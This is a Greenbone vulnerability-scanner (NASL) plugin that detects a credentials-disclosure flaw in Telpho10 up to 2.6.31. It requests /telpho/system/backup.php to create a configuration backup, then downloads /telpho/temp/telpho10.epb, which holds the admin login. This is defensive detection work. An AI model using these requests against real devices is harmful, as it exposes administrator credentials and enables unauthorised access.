Telpho10 Credentials Disclosure Vulnerability

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:telpho:telpho10";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140076");
  script_version("2023-07-20T05:05:17+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-20 05:05:17 +0000 (Thu, 20 Jul 2023)");
  script_tag(name:"creation_date", value:"2016-11-21 13:35:52 +0100 (Mon, 21 Nov 2016)");
  script_name("Telpho10 Credentials Disclosure Vulnerability");
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_category(ACT_GATHER_INFO);
  script_family("Web application abuses");
  script_dependencies("gb_telpho10_web_interface_detect.nasl");
  script_mandatory_keys("telpho10/webinterface/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"It is possible to create and read a configuration backup of Telpho10.
  This backup contains the credentials for admin login.");

  script_tag(name:"vuldetect", value:"Try to generate and read a configuration backup.");

  script_tag(name:"affected", value:"Telpho10 <= 2.6.31.");

  script_tag(name:"solution", value:"Upgrade to version 2.6.32 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

url = "/telpho/system/backup.php";
req = http_get( item:url, port:port );
buf = http_send_recv( port:port, data:req );
if( ! buf || buf !~ "^HTTP/1\.[01] 200" )
  exit( 0 );

url1 = "/telpho/temp/telpho10.epb";
req = http_get( item:url1, port:port );
buf = http_send_recv( port:port, data:req );

if( buf =~ "^HTTP/1\.[01] 200" && "control.tar" >< buf && "ustar" >< buf ) {
  report = 'By requesting ' + http_report_vuln_url(  port:port, url:url, url_only:TRUE ) + ' it was possible to generate a backup of the device.\nThis backup could be retrieved by requesting ' +
           http_report_vuln_url( port:port, url:url1, url_only:TRUE ) + '.';
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );